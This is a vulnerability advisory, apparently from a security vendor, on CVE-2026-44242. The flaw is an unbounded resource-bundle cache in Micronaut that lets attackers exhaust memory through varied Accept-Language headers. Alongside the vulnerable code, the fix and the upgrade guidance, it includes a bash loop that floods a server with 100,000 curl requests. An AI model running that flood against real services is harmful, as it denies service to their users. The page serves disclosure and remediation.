CVE-2026-44242

Micronaut has Unbounded bundleCache in ResourceBundleMessageSource that Allows Memory Exhaustion via Accept-Language Header

// ResourceBundleMessageSource.java:139-152
protected Map<MessageKey, Optional<String>> buildMessageCache() {
    return new ConcurrentLinkedHashMap.Builder<MessageKey, Optional<String>>()
            .maximumWeightedCapacity(100)    // ← BOUNDED ✓
            .build();
}

protected Map<MessageKey, Optional<ResourceBundle>> buildBundleCache() {
    return new ConcurrentHashMap<>(18);      // ← UNBOUNDED ✗
}

// ResourceBundleMessageSource.java:169-185
private Optional<ResourceBundle> resolveBundle(Locale locale) {
    MessageKey key = new MessageKey(locale, baseName);
    final Optional<ResourceBundle> resourceBundle = bundleCache.get(key);
    if (resourceBundle != null) {
        return resourceBundle;
    } else {
        Optional<ResourceBundle> opt;
        try {
            opt = Optional.of(ResourceBundle.getBundle(baseName, locale, getClassLoader()));
        } catch (MissingResourceException e) {
            opt = Optional.empty();
        }
        bundleCache.put(key, opt);    // NO SIZE CHECK, unbounded growth
        return opt;
    }
}

# Flood bundleCache with unique locales via HTML error path
for i in $(seq 1 100000); do
  curl -s -o /dev/null \
    -H "Accept: text/html" \
    -H "Accept-Language: zz-$(printf '%04d' $i)" \
    "http://localhost:8080/nonexistent-path-$(printf '%06d' $i)" &
  [ $((i % 200)) -eq 0 ] && wait
done
wait

• Only affects applications that explicitly register a ResourceBundleMessageSource bean (not the default configuration).
• Requires the ability to send HTTP requests with Accept: text/html headers and control over the Accept-Language value.
• Memory grows approximately 100-200 bytes per novel locale (for non-matching locales) up to several KB per locale if bundles are found. Sustained attack over time causes gradual heap exhaustion.
• Partial availability impact (A:L) under sustained attack in long-running services.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-44242 has a CVSS score of 3.7 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.10.22, 3.10.6, 3.8.14); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Apply the same bounded-cache pattern used for the sibling messageCache:

// In ResourceBundleMessageSource.java, replace buildBundleCache()
protected Map<MessageKey, Optional<ResourceBundle>> buildBundleCache() {
    return new ConcurrentLinkedHashMap.Builder<MessageKey, Optional<ResourceBundle>>()
            .maximumWeightedCapacity(50)    // small, one entry per (locale, baseName)
            .build();
}

The number of distinct resource bundle files is bounded at compile time; a limit of 50 entries is more than sufficient for any realistic i18n configuration while fully preventing unbounded growth.

1. What is CVE-2026-44242? CVE-2026-44242 is a low-severity uncontrolled resource consumption vulnerability in io.micronaut:micronaut-inject (maven), affecting versions >= 4.10.0, < 4.10.22. It is fixed in 4.10.22, 3.10.6, 3.8.14. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-44242? CVE-2026-44242 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of io.micronaut:micronaut-inject are affected by CVE-2026-44242? io.micronaut:micronaut-inject (maven) versions >= 4.10.0, < 4.10.22 is affected.
4. Is there a fix for CVE-2026-44242? Yes. CVE-2026-44242 is fixed in 4.10.22, 3.10.6, 3.8.14. Upgrade to this version or later.
5. Is CVE-2026-44242 exploitable, and should I be worried? Whether CVE-2026-44242 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44242 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44242?
   • Upgrade io.micronaut:micronaut-inject to 4.10.22 or later
   • Upgrade io.micronaut:micronaut-inject to 3.10.6 or later
   • Upgrade io.micronaut:micronaut-inject to 3.8.14 or later